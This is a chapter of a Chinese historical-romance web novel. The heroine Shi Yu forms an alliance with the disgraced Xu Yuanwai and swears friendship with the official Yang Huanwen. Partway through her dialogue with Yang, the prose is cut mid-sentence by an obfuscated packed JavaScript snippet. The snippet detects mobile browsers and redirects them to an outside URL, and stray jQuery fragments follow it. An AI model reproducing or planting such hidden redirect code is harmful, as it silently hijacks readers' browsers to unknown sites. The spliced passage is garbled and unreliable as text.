20. 第 20 章

作品:《从治愈殿下隐疾开始飞升

    看着眼前这幅景象,想着过去三个月在这对夫妇手底下受到骚扰欺凌,时毓心中涌起一阵强烈的快意。


    不过她今日并非为落井下石而来,未免显得太过得意,她刻意压了压唇角:“托员外的福。”


    “哦?莫非你是来感谢徐某托举之恩?”


    “员外果然精明,一语中的。”时毓径自落座,闲适地整了整裙摆,缓声道:“我今日来,正是为了报答员外的恩情。”


    徐员外眯眼冷笑:“如何报答?”


    “为您铺路搭桥,助你进京东山再起。这样的报答,员外喜欢吗?”


    徐员外双眸骤然收缩,肥短的手指死死攥住锦被:“这莫非又是一个鬼把戏,好叫我这身残躯,再为你做一次垫脚石?”


    时毓险些笑出声来。


    原来他以为,她是‘螳螂捕蝉黄雀在后’的黄雀,这般结果全在她的算计之中。


    虽说他落得这般下场,首先是自作孽——连江雪融的底细都未查清便急着献美,而后种种,更多是阴差阳错,倒真不是她处心积虑的设计。


    不过,让他继续把她想象成算无遗策的幕后高手,似乎也没什么不好。


    “那日在水榭,我曾许诺,员外给我献艺机会,我若成功,便与员外共同进京,相互扶持,并非虚言。若你信我,别去长安了,直接去洛阳吧。等我随霁王銮驾回到洛阳,定能设法给你博得一个官阶。”


    徐员外尚未来得及发话,徐太太便忍不住尖声讥讽:“区区一个宫婢,不过在殿下刀下艰难求生,竟敢夸此海口?”


    这话又提醒了徐员外,他沉声问:“那首诗究竟是谁所作,你和江雪融是否内外联手,以我为阶梯,接近霁王?你是如何从阶下囚变成了殿下的身边人?”


    关于如何从阶下囚变成他的身边人,时毓自己都稀里糊涂的,哪能说得清,因而含含糊糊地敷衍道:“这些问题,在得到殿下允准之前,恕难相告。”


    接着神色一正,话锋一转:“您只需知道一点,我现在的身份,足以充当您接近殿下的桥梁。”


    随即语气放缓,温言劝勉:“眼下的困厄不过一时的,您有真本事,又曾于社稷有功,此番只是失察之过。只要等个合适的契机,必定能再获殿下赏识。”


    徐员外心头猛地一颤,这几日越积越重的阴郁愤懑,忽然被一股热流冲散。


    他不得不承认被她说服了,更被她话语中那份笃定的认可所鼓舞了。


    他一直是个自负的人,所以才不甘屈居人下,不惜踩着全族尸骨向上爬。就此认输,他是不甘心的。


    他也不得不承认,这副美丽的皮囊之下,藏着让他不得不正视的锋芒。


    若她当真能为自己谋得一官半职,再偶尔透露那位殿下的心思,他坚信凭着自己的能耐,定能重振门楣,再创辉煌。


    “说罢,究竟为何找上我?可是到了殿下身边才发现,他身边人精云集,各种势力盘根错节,凭你一人,根本立不住脚跟?”


    时毓喜道:“员外能一眼看破关窍,着实让我心安不少。只有和您这般精明通透的人合作,我心里才踏实!”


    自那夜在霁王寝殿留宿后,琳琅对她的态度有了微妙的变化,玲珑则一反常态开始亲近她,更有数不清的内侍官与女官们争相与她结交,她们带来了海量信息。


    被动接收了这些信息,时毓才发现,‘国企’一点也不比‘私企’好混。


    这里面派系分明,太监和宫女各自有一个阵营,但彼此也有交叉。他们时而相互倾轧,时而联手排挤异己。


    目前最令时毓感到不安的消息是:琳琅并不像表面看起来那么善良可亲。


    她们说,她对霁王着非同寻常的占有欲,连王妃想见霁王,都要先征得她的同意,而霁王身边很多侍妾,甚至几位出身名门的侧妃,都被她无声无息地磋磨死了。


    现在时毓无法分辨这些信息的真伪,也不知该信谁,只觉得处处是杀机。


    霁王将她置于这般境地,她却捉摸不透他的心思,根本不知他是靠山还是看客,这才起了寻求外援的念头。


    徐员外心机深沉、深谙人心,做人没有底线,应该足以充当他们的对手。


    “既然话说到这份儿上,我就直说了,员外欲要东山再起,除我之外已无他途;而我欲在殿下身边立足,于这暗流汹涌的权力中心求得生机,亦需外力襄助。我孑然一身,既无宗族可依,亦无旧故可恃,与其冒险结交目的不纯的新朋,不如选择目标明确的旧友。您说呢?”


    徐员外眼中精光乍现,抚掌大笑:“好!好个时毓!老夫当初果真没有看错人!这般谋略气度,他日必化龙腾云!”


    笑声渐止,他微微倾身,审视着她:“不过,你如今只是个小小宫婢,怎么就那么有把握,能为我博得官阶?要知道,以霁王的心性,便是天仙来了,都吹不动枕边风。”


    时毓哂笑:“员外这想法真是狭隘,难道一个女人想做成事,只能靠身体吗?”她抬手点了点额头,“一个女人首先是个人,与男子一般,有头脑,有谋略,有决断。”


    徐员外面色变幻不定,嘴唇嚅动似要反驳。


    “罢了,”时毓见他这般情状,随意摆了摆手,“这些道理与您说不透通。”


    “还是要藏着一手?”徐员外不甘心地问。


    时毓挑了挑眉。


    徐员外仰头长叹,声音里带着几分认命的颓然:“老夫这半条命都折在你手里,如今除了信你,还能如何?”


    时毓笑着摇摇头,“可是员外,我还有一个条件。”


    徐太太厉声呵斥:“你少得寸进尺。”


    徐员外用胳膊肘捣了她一下,接着看向时毓:“你说!”


    时毓道:“季知节想随我去京城,请员外务必带上她,至于其余十姝,愿嫁人的便赠予嫁妆,还她们自由身;不愿的,就一并带去洛阳。”


    不必她说,徐员外也有此打算。既然他已决定去洛阳,带上那风姿超群的季知节,必能办大事。


    *


    离开徐府,时毓马不停蹄地去了郡衙。


    杨焕文听闻她要见自己,颇感意外,激动之下,竟亲自迎出去。


    但见衙门门口那个高挑的碧绿身影,只觉得破旧的大门都变得鲜艳顺眼起来。


    他不由得加快脚步,当距离逐渐缩短,看清她身上所穿的宫装,心里又隐隐失落起来。本想将她邀进值房多说几句的想法也瞬间淡了。


    时毓施礼,他在三步开外的地方还礼,客气地说:“看来时姑娘不仅化险为夷,更已身登青云,成了令人不敢轻视的人上人,可喜可贺。”


    “不过是伺候殿下的奴婢,哪里是什么人上人,大人真会说笑。”时毓莞尔一笑,眼波流转间似有春水潋滟,“不过还是多谢大人。”


    杨焕文被这一笑晃得心神俱醉。


    她的眉眼、谈吐、性情与举止,竟和他心底描摹过千万遍的理想模样分毫不差。可这份狂喜还没来得及细细品味,就被更深的怅惘漫过——终究是相逢已晚,这轮明月早已高悬他人苍穹。


    他勉强压下心头翻涌的涩意,维持着得体的官仪:“不知时姑娘前来,所为何事?”


    “正是来感谢杨大人的相助之恩。”


    杨焕文面露诧异:“相助?姑娘何出此言?本官并未……”


    “大人不必否认。”时毓朝他走近了几步,含笑将他望着,以只有两个人能听到的声音低声道:“那日我被翊卫带进行宫受审,我对审讯我的中郎将说,自己本是洛阳人,不幸被拐卖到晋陵来,以顾大人行事之缜密,定会多方查证——官府买卖册上的记录、经手牙婆的供词,乃至人贩子的口供,都会一一核实。


    后来我得以面见摄政王,足见他已证实了我所言非虚。可官府中人与我素无往来,面对询问,秉着多一事不如少一事的原则,多半会含糊推诿。若非有人暗中提点,顾大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708427|187573||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人岂能如此迅速查明真相?”


    “刚好那日杨大人曾对妾身流露善意,”她微微倾身,声音愈发轻柔,“故而妾身揣测,这位在关键时刻施以援手的贵人,必是大人无疑。”


    杨焕文闻言,怔了半晌,心中更是惆怅。


    顾钊审问的人贩子,正是经他调教过的。


    虽说他帮时毓本来就是看透殿喜爱她,想结个善缘,将来或能用得上。就算她今日不来,他也会找机会将自己为她做的一切告知于她。


    可她不仅猜到了,还主动来道谢,真是给了他极大的惊喜。


    多么冰雪聪明、善解人意的妙人啊。


    可惜已被殿下看入眼了。可惜啊可惜!!


    “举手之劳而已,姑娘不必放在心上。”他并未虚辞推却,而是坦然应下。


    此刻已分不清是为施恩图报,还是私心盼着能在她心中留下一席之地。


    面对她的笑颜,他眼底泛起也清浅笑意:“那杨某便静候姑娘凤鸣九霄之日。”


    “大人心思缜密,为人却坦荡如砥,在这官场中实属清流。”她亦毫不掩饰对他的激赏,直白道:“不瞒大人,您正是我倾心向往的挚友典范。不知杨大人可愿折节下交?”


    杨焕文怔然,几乎疑心自己听错了:“挚友?”


    “怎么,在大人眼中,我只是一介女流,不配像男人一样交朋友吗?”


    “自然不是!”他脱口而出,语气急切,带着年轻人特有的、不愿被视作迂腐古板的倔强。


    “那大人是愿意了?”


    杨焕文默然片刻,忽然后退半步,整襟肃容,郑重执礼:“晋陵杨焕文,字克贞。”


    抬眸,眼中有清辉流转,“幸会友人。”


    时毓亦端正还礼,唇角扬起明澈笑意:“洛阳时毓,虽无表字,愿以真心,结交君子。”


    杨焕文心头的怅惘与苦涩,在这一刻似乎奇异地消散了。虽无缘将明月私藏,却能这般坦然地沐浴在她的清辉之下,何尝不是另一种圆满?


    “克贞。”时毓唤着他的名字。


    这是个多么亲热的称呼啊,平日里除了至亲,只有至交好友如此唤他,而今却从他心悦之人口中发出……杨焕文耳根微热,轻声应了句:“哎。”


    “明日我便要随霁王离开晋陵了,有一件事想要麻烦你。”


    杨焕文巴不得被她麻烦,忙道:“你说。”


    “我被‘拐卖’至此时,曾得灵泉乡白鹭村一位林姓寡妇的相助。她家贫却未因财帛害我,我一直想报答这份恩情。可她不受金钱,我想来想去,唯有一个办法。”


    杨焕文感叹她如此重情重义,心中越发喜欢,温声问:“什么?”


    “她有一个儿子名唤狗儿,今年十四岁,一心想从军报国,却没有门路,不知大人能否将他收入军中,给他一个机会?”


    这对杨焕文而言不过举手之劳,他当即应道:“此等小事,姑娘……你不必挂心。克贞定会妥善安排。”


    “有克贞这句话,我便安心了。”


    时毓说着伸出右手,掌心向上悬在半空:“来,克贞,请与我击掌。”


    “击……击掌?”杨焕文怔怔重复。


    “对,”她将手又往前递了递,“你且朝我掌心重重一击。”


    “这……却是为何?”


    “我依稀记得在某本书上读过,远方有个国度,人们以击掌为誓。你我今日结为朋友,却要匆匆别离,难道不该立下誓约?约定这份情谊不随时光褪色,约定他日定要重逢?”


    杨焕文心口一热,离愁与悸动交织着涌上心头,但在她坦荡的目光注视下,他还是缓缓抬起手,带着几分郑重,轻轻迎了上去。


    “不对,要重重一击!”


    在时毓的要求示范下,他又做了几次,终于,双掌交击发出清脆的声响。


    杨焕文不由朗笑出声。他竟真在一个姑娘家身上,找到了朋友的感觉。